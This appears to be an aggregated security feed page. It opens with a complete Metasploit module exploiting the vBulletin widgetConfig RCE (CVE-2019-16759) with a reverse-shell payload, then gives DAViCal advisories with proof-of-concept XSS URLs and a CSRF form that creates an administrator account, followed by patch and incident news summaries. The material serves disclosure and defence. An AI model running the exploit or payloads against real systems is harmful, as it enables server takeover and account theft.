An aggregate of all of GoVanguard’s InfoSec & Cybersecurity related Posts, News, Threats and Data Feeds.

This Metasploit module exploits vBulletin versions 5.x through 5.5.4 leveraging a remote command execution vulnerability via the widgetConfig[code] parameter in an ajax/render/widget_php routestring POST request.

MD5 | 12d01f78d7c81ffd50f6373629755cb8

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin widgetConfig RCE',
'Description' => %q{
vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]
parameter in an ajax/render/widget_php routestring POST request.
},
'Author' => [
'unknown', # discovered by an unknown sender.
'mekhalleh (RAMELLA Sébastien)' # this module.
],
'References' => [
['CVE', '2019-16759'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']
],
'DisclosureDate' => '2019-09-23',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'windows'],
'Arch' => [ARCH_CMD, ARCH_PHP],
'Privileged' => true,
'Targets' => [
['Meterpreter (PHP In-Memory)',
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_memory,
'Payload' => {
'BadChars' => "x22",
},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
],
['Unix (CMD In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
['Windows (CMD In-Memory)',
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'DisablePayloadHandler' => 'true'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_options([
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def cmd_payload(command)
return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")
end

def execute_command(command)
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'encode_params' => true,
'vars_post' => {
'routestring' => 'ajax/render/widget_php',
'widgetConfig[code]' => command
}
})
if (response) && (response.body)
return response
end

return false
end

def check
rand_str = Rex::Text.rand_text_alpha(8)
received = execute_command(cmd_payload("echo #{rand_str}"))
if received && received.body.include?(rand_str)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
end
vprint_good("The target appears to be vulnerable.")

print_status("Sending #{datastore['PAYLOAD']} command payload")
case target['Type']
when :unix_cmd, :windows_cmd
cmd = cmd_payload(payload.encoded)
vprint_status("Generated command payload: #{cmd}")

received = execute_command(cmd)
if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
print_warning('Dumping command output in body response')
if received.body.empty?
print_error('Empty response, no command output')
return
end
print_line("#{received.body}")
end

when :php_memory
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
end

Source

CA Technologies, A Broadcom Company, is alerting customers to a potential risk with CA Nolio (Release Automation) in the DataManagement component. A vulnerability exists that can allow a remote attacker to execute arbitrary code. CA published a solution to address the vulnerability and recommends that all affected customers implement this solution. The vulnerability occurs due to insecure deserialization. A remote attacker may execute arbitrary commands by exploiting insecure deserialization through the DataManagement service.

MD5 | 9248904c6a72fc2220b9a25d486cb249

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

CA20191209-01: Security Notice for CA Nolio (Release Automation)

Issued: December 9th, 2019
Last Updated: December 9th, 2019

CA Technologies, A Broadcom Company, is alerting customers to a
potential risk with CA Nolio (Release Automation) in the
DataManagement component. A vulnerability exists that can allow a
remote attacker to execute arbitrary code. CA published a solution
to address the vulnerability and recommends that all affected
customers implement this solution.

The vulnerability, CVE-2019-19230, occurs due to insecure
deserialization. A remote attacker may execute arbitrary commands by
exploiting insecure deserialization through the DataManagement
service.

Risk Rating

High

Platform(s)

All supported platforms

Affected Products

CA Nolio (formerly CA Release Automation) 6.6

How to determine if the installation is affected

Customers may use the product version to determine if their Nolio
installation is affected. The vulnerability impacts the
DataManagement component, which is the main product component on all
Management Servers (aka NACs).

Solution

Broadcom published the following solutions to address the
vulnerability. Customers should also review the Secure
Communications documentation.

Fix documentation
Whats.new.6.6.0.10215.txt

CA Nolio (Release Automation) 6.6 Linux:
nolio_patch_linux-x64_6_6_0_b10215.zip

CA Nolio (Release Automation) 6.6 Windows:
nolio_patch_windows-x64_6_6_0_b10215.zip


References
CVE-2019-19230 - CA Nolio (Release Automation) DataManagement
deserialization

Acknowledgement

CVE-2019-19230 - Jakub Palaczynski and Robert Podsiadlo from ING
Tech Poland

Change History

Version 1.0: 2019-12-09 - Initial Release

CA customers may receive product alerts and advisories by
subscribing to Proactive Notifications on the support site.

Customers who require additional information about this notice may
contact CA Technologies Support at https://casupport.broadcom.com/

To report a suspected vulnerability in a CA Technologies product,
please send a summary to CA Technologies Product Vulnerability
Response at ca.psirt broadcom.com

Security Notices, PGP key, and disclosure policy and guidance
https://techdocs.broadcom.com/ca-psirt

Kevin Kotas
CA Product Security Incident Response Team

Copyright 2019 Broadcom. All Rights Reserved. The term "Broadcom"
refers to Broadcom Inc. and/or its subsidiaries. Broadcom, the pulse
logo, Connecting everything, CA Technologies and the CA technologies
logo are among the trademarks of Broadcom. All trademarks, trade
names, service marks and logos referenced herein belong to their
respective companies.

-----BEGIN PGP SIGNATURE-----
Charset: utf-8

wsBVAwUBXe/B2LZ6yOO9o8STAQjRJgf/XEPmnbxEMup00b9/kySn3PL/W8XEHsb1
xA14xV47ctFsbOwglyjnN5E9fyOgC8ztoAQXNCNC90ZmzFHDTUYPJbm+VTj4IhOa
apEi37D58uRAKK7QWNvxpCBqHwzQETi9UuZ6TUFbw0Xl7qcwFCs2UafZVPAZJfOF
7abjEDDalrhZSjKHjVmb11NpBWESgWeM9QHaG+quZlgI2vQT1MNss8H3GJlJfeEH
UY+iv0RKmNUYleEs/qeV1PKn0B4lAXg2KLcWXjBV4vNk6fCjBj/18Rc88gmYCoQE
HkOXoq1V0nIaOCrPXr/lxKa3b1o3v0vJVXkJftzB8Ao0j2oZaFotiA==
=Ggld
-----END PGP SIGNATURE-----

Source

DAViCal CalDAV Server versions 1.1.8 and below suffer from a reflective cross site scripting vulnerability.

MD5 | 106d6376bfe42cd1d4a6aa71f7885eaa

Original text at:
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9.1 immediately
to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 – (this advisory) Reflected Cross-Site Scripting
CVE-2019-18346 – Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18345
CVSS score: 9.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

A reflected cross-site scripting (XSS) vulnerability was found in
multiple pages of the DAViCal CalDAV Server. This is possible because
the application echoes user supplied input without encoding.

POC URL:
http://davical.host/admin.php?action=edit&t=">alert()&id=1

Impact
======

If a user visits an attacker-supplied link, the attacker can view all
data the attacked user can view, as well as perform all actions in the
name of the user. If the user is administrator, the attacker can for
example change the password of the user to take over the account and
gain full access to the application.

Solution
========

Update to version 1.1.9.1

Technical solution details
==========================

XSS vulnerabilities are a problem with dynamically generated websites
that use user input. If user input is not correctly sanitized you could
very well end up with a user pushing some javascript to your frontend.

XSS isn’t a vulnerability that’s hard to grasp or circumvent but it’s
awfully easy to make a mistake like that. One thing you’ll hear over and
over again is never to trust user input. Always sanitize it when it
comes in and it’s best to still not trust it then. Characters like
and " should never be rawly echoed to the frontend. The use cases for
echoing user input back to the frontend are endless. From a simple
"Greetings, $username" to editing personal user information with the
form having all the fields already filled in. So when someone has a
quote in their name, you shouldn’t echo the raw quote but &­quot;.

These days web frameworks handle a lot of sanitation for us. Laravel for
example uses simple brackets to echo variables to the user all these
variables are escaped first: {{ $username }}. Twig does something
similar by using a pipe like syntax: {{ $username | escape}}.

These days when developing your application you need to make sure you
sanitize everything you output to the user. But since DAViCal is an
established project it’s not doable to sift through the code to look for
functions that output text to the frontend. Another problem was that
DAViCal dynamically adds GET parameters to echoed urls. This is why I
chose to sanitize both incoming variables and their names. In the
DAViCal always.php I added a function that loops through the $_GET and
$_POST array recursively (as arrays can contain arrays and so forth) and
run the names and variables through htmlspecialchars() except for the
password field which of course should be able to have special characters
in them.

The reason you don’t do it this way in new applications is because now
if for some reason someone has another way of interacting with your
application (by API calls for example) you’d have to sanitize your input
on both sides. Moreover, APIs that pass JSON objects around for example,
don’t need to have script tags encoded as it means nothing to them and
JSON objects are encoded in a different way. In this case however,
DAViCal doesn’t have other entry points which you can use to insert data
in the database. So sanitizing all input once will suffice!

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/


Source

DAViCal CalDAV Server versions 1.1.8 and below suffer from a cross site request forgery vulnerability.

MD5 | 71241e8b0dd14c1b51e8708854a79e80

Original text at:
https://hackdefense.com/publications/cve-2019-18346-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9.1
immediately to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 – (this advisory) Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18346
CVSS score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

The application has no protection against CSRF attacks. If an
authenticated user visits an attacker-controlled webpage (for example,
in another browser tab), the attacker can send arbitrary requests in the
name of the user to the application, including requests that result in a
state change.

For example, if an attacker includes the following HTML code on his/​her
site and an authenticated DAViCal administrator visits, a new
administrative account ​“hacker” (password also ​“hacker”) will
automatically be created in the background, giving the attacker full
access to the calendaring application:



history.pushState('', '', '/')
<form action="http://davical.host/admin.php?action=edit&t=principal"
method="POST" enctype="multipart/form-data">




<input type="hidden" name="email"
value="hacker@hacktheplanet.com" />







<input type="hidden"
name="default_privileges[fake_privilege_for_input]"
value="0" />
<input type="hidden" name="default_privileges[read]"
value="on" />
<input type="hidden"
name="default_privileges[write-properties]" value="on" />
<input type="hidden"
name="default_privileges[write-content]" value="on" />
<input type="hidden" name="default_privileges[unlock]"
value="on" />
<input type="hidden" name="default_privileges[read-acl]"
value="on" />
<input type="hidden"
name="default_privileges[read-current-user-privilege-set]"
value="on" />
<input type="hidden" name="default_privileges[bind]"
value="on" />
<input type="hidden" name="default_privileges[unbind]"
value="on" />
<input type="hidden"
name="default_privileges[write-acl]" value="on" />
<input type="hidden"
name="default_privileges[read-free-busy]" value="on" />
<input type="hidden"
name="default_privileges[schedule-deliver-invite]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-deliver-reply]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-query-freebusy]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-invite]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-reply]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-freebusy]"
value="on" />
<input type="hidden" name="_editor_action[editor_1]"
value="insert" />




document.forms[0].submit();




Impact
======

In a successful CSRF attack, the attacker can change the e‑mail address
and password on a victim’s account, which results in a full account
takeover. If the compromised user has a privileged (administrator) role
within the application, then the attacker is also able to add a new
administrator user.

Solution
========

Update to version 1.1.9.1


Technical solution details
==========================

The most robust way to defend against CSRF attacks is to include a CSRF
token within relevant requests. The idea is that you assign a unique
token to a user’s session, this token can be regenerated whenever but
this usually happens when a new session is created (e.g.when the user
logs out and logs back in). This token is then required to be sent along
with the rest of the data you want to submit. Prior to performing the
action the called route is supposed to perform(let’s say you want to
update your user information) the application will check if a CSRF token
is present and whether it’s the right one. Onab.comce those two checks
pass the application will continue executing.

So the first task was to write a library that would generate a CSRF
token and attach it to the session. That’s all pretty basic, the only
thing I had to take into account is that the current requirement for
DAViCal is PHP 5.6.0 and up so I had to keep backwards compatibility in
mind. The token is generated by a random number generator (which one is
decided by the current PHP version) and then assigned to the user. Once
that was done the only thing left is to make sure every information
altering request verifies the CSRF token.

The modern way most web frameworks will handle this is by using
middleware. Let’s say you map a route to a function in your code,you can
then put a CSRF middleware in the middle of that ​‘mapping’. So let’s
say you’ve got the following mapping:

‘/​user/​information/​update’> updateUserInformation();

You’d then tell your framework to use a CSRF middleware which would
change the flow to:

‘/​user/​information/​update’> checkCSRF(); > updateUserInformation();

DAViCal however is quite an old project (the copyright states 2006 as
starting year) and we don’t have the luxury of a framework handling
these things for us. The easiest solution is to find every place a
POSTrequest is made and manually verifying the token at those places.
But I was keen to find out if there was a more central place I could put
the CSRF verifying function. As every developer will know, getting to
know and understand someone else’s code can be quite a tough one. I
found myself using xdebugquite a lot to figure out the flow of the
application until something quite obvious became apparent. There is a
PHP file in the project called ​‘always.php’ which always runs. This
file can be used to launch a function on every page load. This is where
I added a function to check the CSRF token on POST requests (which are
used in DAViCal to alter information).

The final act was adding the CSRF tokens to all the forms in DAViCal
which could be easily found by searching for . Which concluded
the fix for the CSRF vulnerability in DAViCal.

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/

Source

DAViCal CalDAV Server versions 1.1.8 and below suffer from a persistent cross site scripting vulnerability.

MD5 | 168863215252aa9df18b7fb2768cce78

Original text at:
https://hackdefense.com/publications/cve-2019-18347-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9 immediately
to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 — Cross-Site Request Forgery
CVE-2019-18347 — (this advisory) Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18347
CVSS score: 9.9
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

The application does not validate user input like email addresses,
usernames and display names. In addition, the web application does not
encode these user input when echoing them to in the web pages. An attack
with a low privileged account can exploit these issues to execute a
Persistent Cross-site Scripting (XSS) attack.

POC URL: http://davical.host/admin.php?action=edit&t=principal&id=1

Place a XSS payload in the username or fullname field e.g.
alert()

Impact
======

An attacker can use XSS to send a malicious JavaScript to an
unsuspecting user. The end user’s browser has no way to know that the
script should not be trusted, and will execute the script. Because the
browser thinks the script came from a trusted source, the malicious
JavaScript can access session tokens (without the HttpOnly flag) or
other sensitive information retained by the browser and used with that
site in the context of the victim.

If the user is administrator, the attacker can for example change the
password of the user to take over the account and gain full access to
the application.

In this case, because the Javascript is stored in the database and
included in pages others can open, it can be used by one user to attack
other users on the same system.

Combined with a CSRF attack (see CVE-2019 – 18346) it is possible to
attack users from the outside as well, if an authenticated DAViCal user
visits the attacker’s web site.

Solution
========

Update to version 1.1.9.1

Technical solution details
==========================

XSS vulnerabilities are a problem with dynamically generated websites
that use user input. If user input is not correctly sanitized you could
very well end up with a user pushing some javascript to your frontend.

XSS isn’t a vulnerability that’s hard to grasp or circumvent but it’s
awfully easy to make a mistake like that. One thing you’ll hear over and
over again is never to trust user input. Always sanitize it when it
comes in and it’s best to still not trust it then. Characters like
and " should never be rawly echoed to the frontend. The use cases for
echoing user input back to the frontend are endless. From a simple
"Greetings, $username" to editing personal user information with the
form having all the fields already filled in. So when someone has a
quote in their name, you shouldn’t echo the raw quote but &­quot;.

These days web frameworks handle a lot of sanitation for us. Laravel for
example uses simple brackets to echo variables to the user all these
variables are escaped first: {{ $username }}. Twig does something
similar by using a pipe like syntax: {{ $username | escape}}.

These days when developing your application you need to make sure you
sanitize everything you output to the user. But since DAViCal is an
established project it’s not doable to sift through the code to look for
functions that output text to the frontend. Another problem was that
DAViCal dynamically adds GET parameters to echoed urls. This is why I
chose to sanitize both incoming variables and their names. In the
DAViCal always.php I added a function that loops through the $_GET and
$_POST array recursively (as arrays can contain arrays and so forth) and
run the names and variables through htmlspecialchars() except for the
password field which of course should be able to have special characters
in them.

The reason you don’t do it this way in new applications is because now
if for some reason someone has another way of interacting with your
application (by API calls for example) you’d have to sanitize your input
on both sides. Moreover, APIs that pass JSON objects around for example,
don’t need to have script tags encoded as it means nothing to them and
JSON objects are encoded in a different way. In this case however,
DAViCal doesn’t have other entry points which you can use to insert data
in the database. So sanitizing all input once will suffice!

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/


Source

image
Microsoft has issued fixes for 36 CVEs for December 2019 Patch Tuesday across a range of products, with seven of them rated critical in severity – and one that’s already being exploited in the wild as a zero-day bug. The computing giant’s scheduled security update this month is relatively light, and includes patches for Microsoft Windows, Internet Explorer, Microsoft Office and related apps, SQL Server, Visual Studio and Skype for Business. In all, December Patch Tuesday addressed seven bugs that are rated critical, 28 that are rated important, and one that rated moderate in severity. Zero-Day Bug Exploited in the Wild CVE-2019-1458 is an elevation-of-privilege vulnerability in Win32k, which has a live zero-day exploit circulating in the wild. The exploit allows attackers to gain higher privileges on the attacked machine and avoid protection mechanisms in the Google Chrome browser, researchers said. “An attacker could exploit the flaw to execute arbitrary code in kernel mode on the victim’s system,” said Satnam Narang, senior research engineer at Tenable, via email. “From there, the attacker could perform a variety of actions, such as creating a new account with full user rights, installing programs, and viewing, changing or deleting data.” The one caveat is that to exploit the flaw, an attacker would need to have previously compromised the system using another vulnerability – thus, it’s rated only as important in severity and carries a CVSSv3 base score of 7.8 out of 10….

Source

image
The city of Pensacola, Fla., said it has been hit by a cyberattack that shut down the city’s computer networks and affected its systems. The attack occurs just days after a shooting occurred Friday at U.S. military base Naval Air Station Pensacola, leaving three dead. Pensacola’s mayor, Grover Robinson, told news outlets that he didn’t know if the cyberattack was connected to that incident. “In light of the shooting Friday at Naval Air Station Pensacola, the City of Pensacola notified the Federal Bureau of Investigation, Department of Homeland Security and Florida Department of Law Enforcement about the incident as a precaution,” the city said in a Monday evening press release. Pensacola, which has a total population of 51,923 (as of 2010), is the westernmost city in the Florida Panhandle. The city, which was first hit by the cyberattack on Saturday, said that the incident affected city email and landlines, the 311 customer service line, and online bill payments for Pensacola Energy and City of Pensacola Sanitation Services. “The City of Pensacola’s Technology Resources Department is continuing to work diligently to address a cyberattack that occurred early Saturday morning, Dec. 7,” the city said. “As a result of the incident, Technology Resources staff disconnected computers from the city’s network until the issue can be resolved.” The city said it does not yet have an estimate on when services will be fully restored. Pensacola also did not reveal any further information…

Source

image
A fresh ransomware variant known as “Snatch” has been spotted in campaigns, forcing Windows machines to reboot into Safe Mode before beginning the encryption process. It’s one of multiple components of a malware constellation being used in carefully orchestrated attacks that also feature rampant data collection. According to researchers with SophosLabs, Snatch runs itself in an elevated permissions mode, and sets registry keys that instruct Windows to run it following a Safe Mode reboot. “It the quickly reboots the computer into Safe Mode, and in the rarefied Safe Mode environment, where most software (including security software) doesn’t run, Snatch encrypts the victims’ hard drives,” explained Andrew Brandt, SophosLabs researcher, in a Monday posting. Snatch’s operators appear to have been active since the summer of 2018, according to the analysis – however, the Safe Mode aspect is a newly added feature. “SophosLabs feels that the severity of the risk posed by ransomware which runs in Safe Mode cannot be overstated,” Brandt said. Snatch Collection of Malware Snatch attacks Windows machines with a collection of malware that includes the ransomware executable; a custom-built data stealer; a Cobalt Strike reverse-shell; and several publicly available tools that are typically used by penetration testers, system administrators or technicians. It’s also all obfuscated by an open-source packer called UPX. The adversaries (which call themselves “Snatch Team” in an homage to the…

Source

image
Adobe Systems is stomping out 17 critical vulnerabilities in Acrobat Reader, Photoshop and Brackets, which could lead to arbitrary code execution if exploited. Overall, Adobe released patches – as part of its regularly-scheduled updates – addressing 25 CVEs across various products, including its Acrobat Reader PDF viewer; Photoshop editing tool; ColdFusion 2018 commercial rapid web-application development platform; and Brackets, its source-code editor primarily focused on web development. No exploits for these vulnerabilities have been detected in the wild thus far, said Adobe. In Adobe Acrobat and Reader, Adobe fixed 14 critical arbitrary code execution flaws, including out-of-bounds write glitches (CVE-2019-16450, CVE-2019-16454), use after free flaws (CVE-2019-16445, CVE-2019-16448, CVE-2019-16452, CVE-2019-16459, CVE-2019-16464), untrusted pointer dereference vulnerability (CVE-2019-16446, CVE-2019-16455, CVE-2019-16460, CVE-2019-16463), a heap overflow (CVE-2019-16451), buffer error (CVE-2019-16462) and a security bypass (CVE-2019-16453). Adobe also fixed seven “important”-rated flaws in Acrobat Reader. Users are encouraged to update to Acrobat DC and Acrobat Reader DC Continuous versions 2019.021.20058 (for Windows and MacOS); Acrobat and Acrobat Reader Classic 2017 version 2017.011.30156 (for Windows and MacOS) and Acrobat and Acrobat Reader Classic 2015 version 2015.006.30508 (for Windows and MacOS). The update is a Priority 2, which according to Adobe “resolves…

Source

IBM WebSphere Application Server – Liberty is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 171245.

Source